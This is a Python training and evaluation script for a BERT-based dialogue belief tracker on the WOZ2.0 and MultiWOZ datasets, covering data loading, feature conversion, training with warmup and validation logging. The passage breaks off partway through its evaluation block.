import csv
import os
import logging
import argparse
import random
import collections
from tqdm import tqdm, trange
import json

import pdb

import numpy as np
import torch
from torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler
from torch.utils.data.distributed import DistributedSampler

from pytorch_pretrained_bert.tokenization import BertTokenizer
from pytorch_pretrained_bert.optimization import BertAdam

from tensorboardX import SummaryWriter

logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s -   %(message)s',
                    datefmt='%m/%d/%Y %H:%M:%S',
                    level=logging.INFO)
logger = logging.getLogger(__name__)

class InputExample(object):
    """A single training/test example for simple sequence classification."""

    def __init__(self, guid, text_a, text_b=None, label=None):
        """Constructs a InputExample.

        Args:
            guid: Unique id for the example.
            text_a: string. The untokenized text of the first sequence. For single
            sequence tasks, only this sequence must be specified.
            text_b: (Optional) string. The untokenized text of the second sequence.
            Only must be specified for sequence pair tasks.
            label: (Optional) string. The label of the example. This should be
            specified for train and dev examples, but not for test examples.
        """
        self.guid = guid
        self.text_a = text_a
        self.text_b = text_b
        self.label = label

class InputFeatures(object):
    """A single set of features of data."""

    def __init__(self, input_ids, input_len, label_id):
        self.input_ids = input_ids
        self.input_len = input_len
        self.label_id = label_id

class DataProcessor(object):
    """Base class for data converters for sequence classification data sets."""
    def get_train_examples(self, data_dir):
        """Gets a collection of `InputExample`s for the train set."""
        raise NotImplementedError()

    def get_dev_examples(self, data_dir):
        """Gets a collection of `InputExample`s for the dev set."""
        raise NotImplementedError()

    def get_labels(self):
        """Gets the list of labels for this data set."""
        raise NotImplementedError()

    @classmethod
    def _read_tsv(cls, input_file, quotechar=None):
        """Reads a tab separated value file."""
        with open(input_file, "r", encoding='utf-8') as f:
            reader = csv.reader(f, delimiter="\t", quotechar=quotechar)
            lines = []
            for line in reader:
                if len(line) > 0 and line[0][0] == '#':     # ignore comments (starting with '#')
                    continue
                lines.append(line)
            return lines

class Processor(DataProcessor):
    """Processor for the belief tracking dataset (GLUE version)."""

    def __init__(self, config):
        super(Processor, self).__init__()

        # WOZ2.0 dataset
        if config.data_dir == "data/woz" or config.data_dir=="data/woz-turn":
            fp_ontology = open(os.path.join(config.data_dir, "ontology_dstc2_en.json"), "r")
            ontology = json.load(fp_ontology)
            ontology = ontology["informable"]
            del ontology["request"]
            for slot in ontology.keys():
                ontology[slot].append("do not care")
                ontology[slot].append("none")
            fp_ontology.close()

        # MultiWOZ dataset
        elif config.data_dir == "data/multiwoz":
            fp_ontology = open(os.path.join(config.data_dir, "ontology.json"), "r")
            ontology = json.load(fp_ontology)
            for slot in ontology.keys():
                ontology[slot].append("none")
            fp_ontology.close()

            if not config.target_slot == 'all':
                slot_idx = {'attraction':'0:1:2', 'bus':'3:4:5:6', 'hospital':'7', 'hotel':'8:9:10:11:12:13:14:15:16:17',\
                            'restaurant':'18:19:20:21:22:23:24', 'taxi':'25:26:27:28', 'train':'29:30:31:32:33:34'}
                target_slot =[]
                for key, value in slot_idx.items():
                    if key != config.target_slot:
                        target_slot.append(value)
                config.target_slot = ':'.join(target_slot)

        else:
            raise NotImplementedError()

        # sorting the ontology according to the alphabetic order of the slots
        ontology = collections.OrderedDict(sorted(ontology.items()))

        # select slots to train
        nslots = len(ontology.keys())
        target_slot = list(ontology.keys())
        if config.target_slot == 'all':
            self.target_slot_idx = [*range(0, nslots)]
        else:
            self.target_slot_idx = sorted([ int(x) for x in config.target_slot.split(':')])

        for idx in range(0, nslots):
            if not idx in self.target_slot_idx:
                del ontology[target_slot[idx]]

        self.ontology = ontology
        self.target_slot = list(self.ontology.keys())
        for i, slot in enumerate(self.target_slot):
            if slot == "pricerange":
                self.target_slot[i] = "price range"

        logger.info('Processor: target_slot')
        logger.info(self.target_slot)

    def get_train_examples(self, data_dir, accumulation=False):
        """See base class."""
        return self._create_examples(
            self._read_tsv(os.path.join(data_dir, "train.tsv")), "train", accumulation)

    def get_dev_examples(self, data_dir, accumulation=False):
        """See base class."""
        return self._create_examples(
            self._read_tsv(os.path.join(data_dir, "dev.tsv")), "dev", accumulation)

    def get_test_examples(self, data_dir, accumulation=False):
        """See base class."""
        return self._create_examples(
            self._read_tsv(os.path.join(data_dir, "test.tsv")), "test", accumulation)

    def get_labels(self):
        """See base class."""
        return [ self.ontology[slot] for slot in self.target_slot]

    def _create_examples(self, lines, set_type, accumulation=False):
        """Creates examples for the training and dev sets."""
        prev_dialogue_index = None
        examples = []
        for (i, line) in enumerate(lines):
            guid = "%s-%s-%s" % (set_type, line[0], line[1])  # line[0]: dialogue index, line[1]: turn index
            if accumulation:
                if prev_dialogue_index is None or prev_dialogue_index != line[0]:
                    text_a = line[2]
                    text_b = line[3]
                    prev_dialogue_index = line[0]
                else:
                    # The symbol '#' will be replaced with '[SEP]' after tokenization.
                    text_a = line[2] + " # " + text_a
                    text_b = line[3] + " # " + text_b
            else:
                text_a = line[2]  # line[2]: user utterance
                text_b = line[3]  # line[3]: system response

            label = [line[4+idx] for idx in self.target_slot_idx]

            examples.append(
                InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label))
        return examples

def convert_examples_to_features(examples, label_list, max_seq_length, tokenizer, max_turn_length):
    """Loads a data file into a list of `InputBatch`s."""

    label_map = [{label: i for i, label in enumerate(labels)} for labels in label_list]
    slot_dim = len(label_list)

    features = []
    prev_dialogue_idx = None
    all_padding = [0] * max_seq_length
    all_padding_len = [0, 0]

    max_turn = 0
    for (ex_index, example) in enumerate(examples):
        if max_turn < int(example.guid.split('-')[2]):
            max_turn = int(example.guid.split('-')[2])
    max_turn_length = min(max_turn+1, max_turn_length)
    logger.info("max_turn_length = %d" % max_turn)

    for (ex_index, example) in enumerate(examples):
        tokens_a = [x if x != '#' else '[SEP]' for x in tokenizer.tokenize(example.text_a)]
        tokens_b = None
        if example.text_b:
            tokens_b = [x if x != '#' else '[SEP]' for x in tokenizer.tokenize(example.text_b)]
            # Modifies `tokens_a` and `tokens_b` in place so that the total
            # length is less than the specified length.
            # Account for [CLS], [SEP], [SEP] with "- 3"
            _truncate_seq_pair(tokens_a, tokens_b, max_seq_length - 3)
        else:
            # Account for [CLS] and [SEP] with "- 2"
            if len(tokens_a) > max_seq_length - 2:
                tokens_a = tokens_a[:(max_seq_length - 2)]

        # The convention in BERT is:
        # (a) For sequence pairs:
        #  tokens:   [CLS] is this jack ##son ##ville ? [SEP] no it is not . [SEP]
        #  type_ids: 0   0  0    0    0     0       0 0    1  1  1  1   1 1
        # (b) For single sequences:
        #  tokens:   [CLS] the dog is hairy . [SEP]
        #  type_ids: 0   0   0   0  0     0 0
        #
        # Where "type_ids" are used to indicate whether this is the first
        # sequence or the second sequence. The embedding vectors for `type=0` and
        # `type=1` were learned during pre-training and are added to the wordpiece
        # embedding vector (and position vector). This is not *strictly* necessary
        # since the [SEP] token unambigiously separates the sequences, but it makes
        # it easier for the model to learn the concept of sequences.
        #
        # For classification tasks, the first vector (corresponding to [CLS]) is
        # used as as the "sentence vector". Note that this only makes sense because
        # the entire model is fine-tuned.

        tokens = ["[CLS]"] + tokens_a + ["[SEP]"]
        input_len = [len(tokens), 0]

        if tokens_b:
            tokens += tokens_b + ["[SEP]"]
            input_len[1] = len(tokens_b) + 1

        input_ids = tokenizer.convert_tokens_to_ids(tokens)

        # Zero-pad up to the sequence length.
        padding = [0] * (max_seq_length - len(input_ids))
        input_ids += padding
        assert len(input_ids) == max_seq_length

        label_id = []
        label_info = 'label: '
        for i, label in enumerate(example.label):
            if label == 'dontcare':
                label = 'do not care'
            label_id.append(label_map[i][label])
            label_info += '%s (id = %d) ' % (label, label_map[i][label])

        if ex_index < 5:
            logger.info("*** Example ***")
            logger.info("guid: %s" % example.guid)
            logger.info("tokens: %s" % " ".join(
                [str(x) for x in tokens]))
            logger.info("input_ids: %s" % " ".join([str(x) for x in input_ids]))
            logger.info("input_len: %s" % " ".join([str(x) for x in input_len]))
            logger.info("label: " + label_info)

        curr_dialogue_idx = example.guid.split('-')[1]
        curr_turn_idx = int(example.guid.split('-')[2])

        if prev_dialogue_idx is not None and prev_dialogue_idx != curr_dialogue_idx:
            if prev_turn_idx < max_turn_length:
                features += [InputFeatures(input_ids=all_padding,
                                           input_len=all_padding_len,
                                           label_id=[-1]*slot_dim)]\
                            *(max_turn_length - prev_turn_idx - 1)
            assert len(features) % max_turn_length == 0

        if prev_dialogue_idx is None or prev_turn_idx < max_turn_length:
            features.append(
                InputFeatures(input_ids=input_ids,
                              input_len=input_len,
                              label_id=label_id))

        prev_dialogue_idx = curr_dialogue_idx
        prev_turn_idx = curr_turn_idx

    if prev_turn_idx < max_turn_length:
        features += [InputFeatures(input_ids=all_padding,
                                   input_len=all_padding_len,
                                   label_id=[-1]*slot_dim)]\
                    * (max_turn_length - prev_turn_idx - 1)
    assert len(features) % max_turn_length == 0

    all_input_ids = torch.tensor([f.input_ids for f in features], dtype=torch.long)
    all_input_len= torch.tensor([f.input_len for f in features], dtype=torch.long)
    all_label_ids = torch.tensor([f.label_id for f in features], dtype=torch.long)

    # reshape tensors to [#batch, #max_turn_length, #max_seq_length]
    all_input_ids = all_input_ids.view(-1, max_turn_length, max_seq_length)
    all_input_len = all_input_len.view(-1, max_turn_length, 2)
    all_label_ids = all_label_ids.view(-1, max_turn_length, slot_dim)

    return all_input_ids, all_input_len, all_label_ids

def get_label_embedding(labels, max_seq_length, tokenizer, device):
    features = []
    for label in labels:
        label_tokens = ["[CLS]"] + tokenizer.tokenize(label) + ["[SEP]"]
        label_token_ids = tokenizer.convert_tokens_to_ids(label_tokens)
        label_len = len(label_token_ids)

        label_padding = [0] * (max_seq_length - len(label_token_ids))
        label_token_ids += label_padding
        assert len(label_token_ids) == max_seq_length

        features.append((label_token_ids, label_len))

    all_label_token_ids = torch.tensor([f[0] for f in features], dtype=torch.long).to(device)
    all_label_len = torch.tensor([f[1] for f in features], dtype=torch.long).to(device)

    return all_label_token_ids, all_label_len

def _truncate_seq_pair(tokens_a, tokens_b, max_length):
    """Truncates a sequence pair in place to the maximum length."""

    # This is a simple heuristic which will always truncate the longer sequence
    # one token at a time. This makes more sense than truncating an equal percent
    # of tokens from each, since if one sequence is very short then each token
    # that's truncated likely contains more information than a longer sequence.
    while True:
        total_length = len(tokens_a) + len(tokens_b)
        if total_length <= max_length:
            break
        if len(tokens_a) > len(tokens_b):
            tokens_a.pop()
        else:
            tokens_b.pop()

def warmup_linear(x, warmup=0.002):
    if x < warmup:
        return x / warmup
    return 1.0 - x

def main():
    parser = argparse.ArgumentParser()

    ## Required parameters
    parser.add_argument("--data_dir",
                        default=None,
                        type=str,
                        required=True,
                        help="The input data dir. Should contain the .tsv files (or other data files) for the task.")
    parser.add_argument("--bert_model", default='bert-base-uncased', type=str, required=True,
                        help="Bert pre-trained model selected in the list: bert-base-uncased, "
                             "bert-large-uncased, bert-base-cased, bert-large-cased, bert-base-multilingual-uncased, "
                             "bert-base-multilingual-cased, bert-base-chinese.")
    parser.add_argument("--bert_dir", default='/home/.pytorch_pretrained_bert',
                        type=str, required=False,
                        help="The directory of the pretrained BERT model")
    parser.add_argument("--task_name",
                        default=None,
                        type=str,
                        required=True,
                        help="The name of the task to train: bert-gru-sumbt, bert-lstm-sumbt"
                             "bert-label-embedding, bert-gru-label-embedding, bert-lstm-label-embedding")
    parser.add_argument("--output_dir",
                        default=None,
                        type=str,
                        required=True,
                        help="The output directory where the model predictions and checkpoints will be written.")
    parser.add_argument("--target_slot",
                        default='all',
                        type=str,
                        required=True,
                        help="Target slot idx to train model. ex. 'all', '0:1:2', or an excluding slot name 'attraction'" )
    parser.add_argument("--tf_dir",
                        default='tensorboard',
                        type=str,
                        required=False,
                        help="Tensorboard directory")
    parser.add_argument("--nbt",
                        default='rnn',
                        type=str,
                        required=True,
                        help="nbt type: rnn or transformer" )
    parser.add_argument("--fix_utterance_encoder",
                        action='store_true',
                        help="Do not train BERT utterance encoder")

    ## Other parameters
    parser.add_argument("--max_seq_length",
                        default=64,
                        type=int,
                        help="The maximum total input sequence length after WordPiece tokenization. \n"
                             "Sequences longer than this will be truncated, and sequences shorter \n"
                             "than this will be padded.")
    parser.add_argument("--max_label_length",
                        default=32,
                        type=int,
                        help="The maximum total input sequence length after WordPiece tokenization. \n"
                             "Sequences longer than this will be truncated, and sequences shorter \n"
                             "than this will be padded.")
    parser.add_argument("--max_turn_length",
                        default=22,
                        type=int,
                        help="The maximum total input turn length. \n"
                             "Sequences longer than this will be truncated, and sequences shorter \n"
                             "than this will be padded.")
    parser.add_argument('--hidden_dim',
                        type=int,
                        default=100,
                        help="hidden dimension used in belief tracker")
    parser.add_argument('--num_rnn_layers',
                        type=int,
                        default=1,
                        help="number of RNN layers")
    parser.add_argument('--zero_init_rnn',
                        action='store_true',
                        help="set initial hidden of rnns zero")
    parser.add_argument('--attn_head',
                        type=int,
                        default=4,
                        help="the number of heads in multi-headed attention")
    parser.add_argument("--do_train",
                        action='store_true',
                        help="Whether to run training.")
    parser.add_argument("--do_eval",
                        action='store_true',
                        help="Whether to run eval on the test set.")
    parser.add_argument("--do_lower_case",
                        action='store_true',
                        help="Set this flag if you are using an uncased model.")
    parser.add_argument("--distance_metric",
                        type=str,
                        default="cosine",
                        help="The metric for distance between label embeddings: cosine, euclidean.")
    parser.add_argument("--train_batch_size",
                        default=4,
                        type=int,
                        help="Total dialog batch size for training.")
    parser.add_argument("--dev_batch_size",
                        default=1,
                        type=int,
                        help="Total dialog batch size for validation.")
    parser.add_argument("--eval_batch_size",
                        default=16,
                        type=int,
                        help="Total dialog batch size for evaluation.")
    parser.add_argument("--learning_rate",
                        default=5e-5,
                        type=float,
                        help="The initial learning rate for BertAdam.")
    parser.add_argument("--num_train_epochs",
                        default=3.0,
                        type=float,
                        help="Total number of training epochs to perform.")
    parser.add_argument("--patience",
                        default=10.0,
                        type=float,
                        help="The number of epochs to allow no further improvement.")
    parser.add_argument("--warmup_proportion",
                        default=0.1,
                        type=float,
                        help="Proportion of training to perform linear learning rate warmup for. "
                             "E.g., 0.1 = 10%% of training.")
    parser.add_argument("--no_cuda",
                        action='store_true',
                        help="Whether not to use CUDA when available")
    parser.add_argument("--local_rank",
                        type=int,
                        default=-1,
                        help="local_rank for distributed training on gpus")
    parser.add_argument('--seed',
                        type=int,
                        default=42,
                        help="random seed for initialization")
    parser.add_argument('--gradient_accumulation_steps',
                        type=int,
                        default=1,
                        help="Number of updates steps to accumulate before performing a backward/update pass.")
    parser.add_argument('--fp16',
                        action='store_true',
                        help="Whether to use 16-bit float precision instead of 32-bit")
    parser.add_argument('--loss_scale',
                        type=float, default=0,
                        help="Loss scaling to improve fp16 numeric stability. Only used when fp16 set to True.\n"
                             "0 (default value): dynamic loss scaling.\n"
                             "Positive power of 2: static loss scaling value.\n")
    parser.add_argument("--do_not_use_tensorboard",
                        action='store_true',
                        help="Whether to run eval on the test set.")

    args = parser.parse_args()

    # check output_dir
    if os.path.exists(args.output_dir) and os.listdir(args.output_dir) and args.do_train:
        raise ValueError("Output directory ({}) already exists and is not empty.".format(args.output_dir))
    os.makedirs(args.output_dir, exist_ok=True)

    if not args.do_train and not args.do_eval and not args.do_analyze:
        raise ValueError("At least one of `do_train` or `do_eval` must be True.")

    # Tensorboard logging
    if not args.do_not_use_tensorboard:
        tb_file_name = args.output_dir.split('/')[1]
        summary_writer = SummaryWriter("./%s/%s" % (args.tf_dir, tb_file_name))
    else:
        summary_writer = None

    # Logger
    fileHandler = logging.FileHandler(os.path.join(args.output_dir, "%s.txt"%(tb_file_name)))
    logger.addHandler(fileHandler)
    logger.info(args)

    # CUDA setup
    if args.local_rank == -1 or args.no_cuda:
        device = torch.device("cuda" if torch.cuda.is_available() and not args.no_cuda else "cpu")
        n_gpu = torch.cuda.device_count()
    else:
        torch.cuda.set_device(args.local_rank)
        device = torch.device("cuda", args.local_rank)
        n_gpu = 1
        # Initializes the distributed backend which will take care of sychronizing nodes/GPUs
        torch.distributed.init_process_group(backend='nccl')
    logger.info("device: {} n_gpu: {}, distributed training: {}, 16-bits training: {}".format(
        device, n_gpu, bool(args.local_rank != -1), args.fp16))

    if args.gradient_accumulation_steps < 1:
        raise ValueError("Invalid gradient_accumulation_steps parameter: {}, should be >= 1".format(
            args.gradient_accumulation_steps))

    args.train_batch_size = int(args.train_batch_size / args.gradient_accumulation_steps)

    # Set random seed
    random.seed(args.seed)
    np.random.seed(args.seed)
    torch.manual_seed(args.seed)
    if n_gpu > 0:
        torch.cuda.manual_seed_all(args.seed)

    ###############################################################################
    # Load data
    ###############################################################################

    # Get Processor
    processor = Processor(args)
    label_list = processor.get_labels()
    num_labels = [len(labels) for labels in label_list] # number of slot-values in each slot-type

    # tokenizer
    vocab_dir = os.path.join(args.bert_dir, '%s-vocab.txt' % args.bert_model)
    if not os.path.exists(vocab_dir):
        raise ValueError("Can't find %s " % vocab_dir)
    tokenizer = BertTokenizer.from_pretrained(vocab_dir, do_lower_case=args.do_lower_case)

    num_train_steps = None
    accumulation = False

    if args.do_train:
        train_examples = processor.get_train_examples(args.data_dir, accumulation=accumulation)
        dev_examples = processor.get_dev_examples(args.data_dir, accumulation=accumulation)

        ## Training utterances
        all_input_ids, all_input_len, all_label_ids = convert_examples_to_features(
            train_examples, label_list, args.max_seq_length, tokenizer, args.max_turn_length)

        num_train_batches = all_input_ids.size(0)
        num_train_steps = int(num_train_batches / args.train_batch_size / args.gradient_accumulation_steps * args.num_train_epochs)

        logger.info("***** Running training *****")
        logger.info("  Num examples = %d", len(train_examples))
        logger.info("  Batch size = %d", args.train_batch_size)
        logger.info("  Num steps = %d", num_train_steps)

        all_input_ids, all_input_len, all_label_ids = all_input_ids.to(device), all_input_len.to(device), all_label_ids.to(device)

        train_data = TensorDataset(all_input_ids, all_input_len, all_label_ids)
        if args.local_rank == -1:
            train_sampler = RandomSampler(train_data)
        else:
            train_sampler = DistributedSampler(train_data)

        train_dataloader = DataLoader(train_data, sampler=train_sampler, batch_size=args.train_batch_size)

        ## Dev utterances
        all_input_ids_dev, all_input_len_dev, all_label_ids_dev = convert_examples_to_features(
            dev_examples, label_list, args.max_seq_length, tokenizer, args.max_turn_length)

        logger.info("***** Running validation *****")
        logger.info("  Num examples = %d", len(dev_examples))
        logger.info("  Batch size = %d", args.dev_batch_size)

        all_input_ids_dev, all_input_len_dev, all_label_ids_dev = \
            all_input_ids_dev.to(device), all_input_len_dev.to(device), all_label_ids_dev.to(device)

        dev_data = TensorDataset(all_input_ids_dev, all_input_len_dev, all_label_ids_dev)
        dev_sampler = SequentialSampler(dev_data)
        dev_dataloader = DataLoader(dev_data, sampler=dev_sampler, batch_size=args.dev_batch_size)

    logger.info("Loaded data!")

    ###############################################################################
    # Build the models
    ###############################################################################

    # Prepare model
    if args.nbt =='rnn':
        from BeliefTrackerSlotQueryMultiSlot import BeliefTracker
    elif args.nbt == 'transformer':
        from BeliefTrackerSlotQueryMultiSlotTransformer import BeliefTracker
    else:
        raise ValueError('nbt type should be either rnn or transformer')

    model = BeliefTracker(args, num_labels, device)
    if args.fp16:
        model.half()
    model.to(device)
    save_configure(args, num_labels, processor.ontology)

    ## Get slot-value embeddings
    label_token_ids, label_len = [], []
    for labels in label_list:
        token_ids, lens = get_label_embedding(labels, args.max_label_length, tokenizer, device)
        label_token_ids.append(token_ids)
        label_len.append(lens)

    ## Get domain-slot-type embeddings
    slot_token_ids, slot_len = \
        get_label_embedding(processor.target_slot, args.max_label_length, tokenizer, device)

    ## Initialize slot and value embeddings
    model.initialize_slot_value_lookup(label_token_ids, slot_token_ids)

    # Data parallelize when use multi-gpus
    if args.local_rank != -1:
        try:
            from apex.parallel import DistributedDataParallel as DDP
        except ImportError:
            raise ImportError(
                "Please install apex from https://www.github.com/nvidia/apex to use distributed and fp16 training.")

        model = DDP(model)
    elif n_gpu > 1:
        model = torch.nn.DataParallel(model)

    # Prepare optimizer
    if args.do_train:
        def get_optimizer_grouped_parameters(model):
            param_optimizer = [(n, p) for n, p in model.named_parameters() if p.requires_grad]
            no_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']
            optimizer_grouped_parameters = [
                {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay': 0.01,
                 'lr': args.learning_rate},
                {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay': 0.0,
                 'lr': args.learning_rate},
            ]
            return optimizer_grouped_parameters

        if n_gpu == 1:
            optimizer_grouped_parameters = get_optimizer_grouped_parameters(model)
        else:
            optimizer_grouped_parameters = get_optimizer_grouped_parameters(model.module)

        t_total = num_train_steps

        if args.local_rank != -1:
            t_total = t_total // torch.distributed.get_world_size()
        if args.fp16:
            try:
                from apex.optimizers import FP16_Optimizer
                from apex.optimizers import FusedAdam
            except ImportError:
                raise ImportError(
                    "Please install apex from https://www.github.com/nvidia/apex to use distributed and fp16 training.")

            optimizer = FusedAdam(optimizer_grouped_parameters,
                                  lr=args.learning_rate,
                                  bias_correction=False,
                                  max_grad_norm=1.0)
            if args.loss_scale == 0:
                optimizer = FP16_Optimizer(optimizer, dynamic_loss_scale=True)
            else:
                optimizer = FP16_Optimizer(optimizer, static_loss_scale=args.loss_scale)

        else:
            optimizer = BertAdam(optimizer_grouped_parameters,
                                 lr=args.learning_rate,
                                 warmup=args.warmup_proportion,
                                 t_total=t_total)
        logger.info(optimizer)

    ###############################################################################
    # Training code
    ###############################################################################

    if args.do_train:
        logger.info("Training...")

        global_step = 0
        last_update = None
        best_loss = None

        for epoch in trange(int(args.num_train_epochs), desc="Epoch"):
            # Train
            model.train()
            tr_loss = 0
            nb_tr_examples = 0
            nb_tr_steps = 0

            for step, batch in enumerate(tqdm(train_dataloader, desc="Iteration")):
                batch = tuple(t.to(device) for t in batch)
                input_ids, input_len, label_ids = batch

                # Forward
                if n_gpu == 1:
                    loss, loss_slot, acc, acc_slot, _ = model(input_ids, input_len, label_ids, n_gpu)
                else:
                    loss, _, acc, acc_slot, _ = model(input_ids, input_len, label_ids, n_gpu)

                    # average to multi-gpus
                    loss = loss.mean()
                    acc = acc.mean()
                    acc_slot = acc_slot.mean(0)

                if args.gradient_accumulation_steps > 1:
                    loss = loss / args.gradient_accumulation_steps

                # Backward
                if args.fp16:
                    optimizer.backward(loss)
                else:
                    loss.backward()

                # tensrboard logging
                if summary_writer is not None:
                    summary_writer.add_scalar("Epoch", epoch, global_step)
                    summary_writer.add_scalar("Train/Loss", loss, global_step)
                    summary_writer.add_scalar("Train/JointAcc", acc, global_step)
                    if n_gpu == 1:
                        for i, slot in enumerate(processor.target_slot):
                            summary_writer.add_scalar("Train/Loss_%s" % slot.replace(' ','_'), loss_slot[i], global_step)
                            summary_writer.add_scalar("Train/Acc_%s" % slot.replace(' ','_'), acc_slot[i], global_step)

                tr_loss += loss.item()
                nb_tr_examples += input_ids.size(0)
                nb_tr_steps += 1
                if (step + 1) % args.gradient_accumulation_steps == 0:
                    # modify lealrning rate with special warm up BERT uses
                    lr_this_step = args.learning_rate * warmup_linear(global_step / t_total, args.warmup_proportion)
                    if summary_writer is not None:
                        summary_writer.add_scalar("Train/LearningRate", lr_this_step, global_step)
                    for param_group in optimizer.param_groups:
                        param_group['lr'] = lr_this_step
                    optimizer.step()
                    optimizer.zero_grad()
                    global_step += 1

            # Perform evaluation on validation dataset
            model.eval()
            dev_loss = 0
            dev_acc = 0
            dev_loss_slot, dev_acc_slot = None, None
            nb_dev_examples, nb_dev_steps = 0, 0

            for step, batch in enumerate(tqdm(dev_dataloader, desc="Validation")):
                batch = tuple(t.to(device) for t in batch)
                input_ids, input_len, label_ids = batch
                if input_ids.dim() == 2:
                    input_ids = input_ids.unsqueeze(0)
                    input_len = input_len.unsqueeze(0)
                    label_ids = label_ids.unsuqeeze(0)

                with torch.no_grad():
                    if n_gpu == 1:
                        loss, loss_slot, acc, acc_slot, _ = model(input_ids, input_len, label_ids, n_gpu)
                    else:
                        loss, _, acc, acc_slot, _= model(input_ids, input_len, label_ids, n_gpu)

                        # average to multi-gpus
                        loss = loss.mean()
                        acc = acc.mean()
                        acc_slot = acc_slot.mean(0)

                num_valid_turn = torch.sum(label_ids[:,:,0].view(-1) > -1, 0).item()
                dev_loss += loss.item() * num_valid_turn
                dev_acc += acc.item() * num_valid_turn

                if n_gpu == 1:
                    if dev_loss_slot is None:
                        dev_loss_slot = [ l * num_valid_turn for l in loss_slot]
                        dev_acc_slot = acc_slot * num_valid_turn
                    else:
                        for i, l in enumerate(loss_slot):
                            dev_loss_slot[i] = dev_loss_slot[i] + l * num_valid_turn
                        dev_acc_slot += acc_slot * num_valid_turn

                nb_dev_examples += num_valid_turn

            dev_loss = dev_loss / nb_dev_examples
            dev_acc = dev_acc / nb_dev_examples

            if n_gpu == 1:
                dev_acc_slot = dev_acc_slot / nb_dev_examples

            # tensorboard logging
            if summary_writer is not None:
                summary_writer.add_scalar("Validate/Loss", dev_loss, global_step)
                summary_writer.add_scalar("Validate/Acc", dev_acc, global_step)
                if n_gpu == 1:
                    for i, slot in enumerate(processor.target_slot):
                        summary_writer.add_scalar("Validate/Loss_%s" % slot.replace(' ','_'), dev_loss_slot[i]/nb_dev_examples, global_step)
                        summary_writer.add_scalar("Validate/Acc_%s" % slot.replace(' ','_'), dev_acc_slot[i], global_step)

            dev_loss = round(dev_loss, 6)
            if last_update is None or dev_loss < best_loss:
                # Save a trained model
                output_model_file = os.path.join(args.output_dir, "pytorch_model.bin")
                if args.do_train:
                    if n_gpu == 1:
                        torch.save(model.state_dict(), output_model_file)
                    else:
                        torch.save(model.module.state_dict(), output_model_file)

                last_update = epoch
                best_loss = dev_loss
                best_acc = dev_acc

                logger.info("*** Model Updated: Epoch=%d, Validation Loss=%.6f, Validation Acc=%.6f ***" % (last_update, best_loss, best_acc))
            else:
                logger.info("*** Model NOT Updated: Epoch=%d, Validation Loss=%.6f, Validation Acc=%.6f  ***" % (epoch, dev_loss, dev_acc))

            if last_update + args.patience <= epoch:
                break

    ###############################################################################
    # Evaluation
    ###############################################################################
    # Load a trained model that you have fine-tuned
    output_model_file = os.path.join(args.output_dir, "pytorch_model.bin")
    model = BeliefTracker(args, num_labels, device)

    if args.local_rank != -1:
        try:
            from apex.parallel import DistributedDataParallel as DDP
        except ImportError:
            raise ImportError(
                "Please install apex from https://www.github.com/nvidia/apex to use distributed and fp16 training.")

        model = DDP(model)
    elif n_gpu > 1:
        model = torch.nn.DataParallel(model)

    # in the case that slot and values are different between the training and evaluation
    ptr_model = torch.load(output_model_file)

    if n_gpu == 1:
        state = model.state_dict()
        state.update(ptr_model)
        model.load_state_dict(state)
    else:
        print("Evaluate using only one device!")
        model.module.load_state_dict(ptr_model)

    model.to(device)

    # Evaluation
    if args.do_eval and (args.local_rank == -1 or torch.distributed.get_rank() == 0):

        eval_examples = processor.get_test_examples(args.data_dir, accumulation=accumulation)
        all_input_ids, all_input_len, all_label_ids = convert_examples_to_features(
            eval_examples, label_list, args.max_seq_length, tokenizer, args.max_turn_length)
        all_input_ids, all_input_len, all_label_ids = all_input_ids.to(device), all_input_len.to(device), all_label_ids.to(device)
        logger.info("***** Running evaluation *****")
        logger.info("  Num examples = %d", len(eval_examples))
        logger.info("  Batch size = %d", args.eval_batch_size)

        eval_data = TensorDataset(all_input_ids, all_input_len, all_label_ids)

        # Run prediction for full data
        eval_sampler = SequentialSampler(eval_data)
        eval_dataloader = DataLoader(eval_data, sampler=eval_sampler, batch_size=args.eval_batch_size)

        model.eval()
        eval_loss, eval_accuracy = 0, 0
        eval_loss_slot, eval_acc_slot = None, None
        nb_eval_steps, nb_eval_examples = 0, 0

        accuracies = {'joint7':0, 'slot7':0, 'joint5':0, 'slot5':0, 'joint_rest':0, 'slot_rest':0,
                      'num_turn':0, 'num_slot7':0, 'num_slot5':0, 'num_slot_rest':0}

        for input_ids, input_len, label_ids in tqdm(eval_dataloader, desc="Evaluating"):
            if input_ids.dim() == 2:
                input_ids = input_ids.unsqueeze(0)
                input_len = input_len.unsqueeze(0)
                label_ids = label_ids.unsuqeeze(0)

            with torch.no_grad():
                if n_gpu == 1:
                    loss, loss_slot, acc, acc_slot, pred_slot = model(input_ids, input_len, label_ids, n_gpu)
                else:
                    loss, _, acc, acc_slot, pred_slot = model(input_ids, input_len, label_ids, n_gpu)
                    nbatch = label_ids.size(0)
                    nslot = pred_slot.size(3)
                    pred_slot = pred_slot.view(nbatch, -1, nslot)

            accuracies = eval_all_accs(pred_slot, label_ids, accuracies)

            nb_eval_ex = (label_ids[:,:,0].view(-1) != -1).sum().item()
            nb_eval_examples += nb_eval_ex
            nb_eval_steps += 1

            if n_gpu == 1:
                eval_loss += loss.item() * nb_eval_ex
                eval_accuracy += acc.item() * nb_eval_ex
                if eval_loss_slot is None:
                    eval_loss_slot = [ l * nb_eval_ex for l in loss_slot]
                    eval_acc_slot = acc_slot * nb_eval_ex
                else:
                    for i, l in enumerate(loss_slot):
                        eval_loss_slot[i] = eval_loss_slot[i] + l * nb_eval_ex
                    eval_acc_slot += acc_slot * nb_eval_ex
            else:
                eval_loss += sum(loss) * nb_eval_ex
                eval_accuracy += sum(acc) * nb_eval_ex

        eval_loss = eval_loss / nb_eval_examples
        eval_accuracy = eval_accuracy / nb_eval_examples
        if n_gpu == 1:
            eval_acc_slot = eval_acc_slot / nb_eval_examples

        loss = tr_loss / nb_tr_steps if args.do_train else None

        if n_gpu == 1:
            result = {'eval_loss': eval_loss,
                      'eval_accuracy': eval_accuracy,
                      'loss': loss,
                      'eval_loss_slot':'\t'.join([ str(val/ nb_eval_examples) for val in eval_loss_slot]),
                      'eval_acc_slot':'\t'.join([ str((val).item()) for val in eval_acc_slot])
                        }
        else:
            result = {'eval_loss': eval_loss,
                      'eval_accuracy': eval_accuracy,
                      'loss': loss
                      }

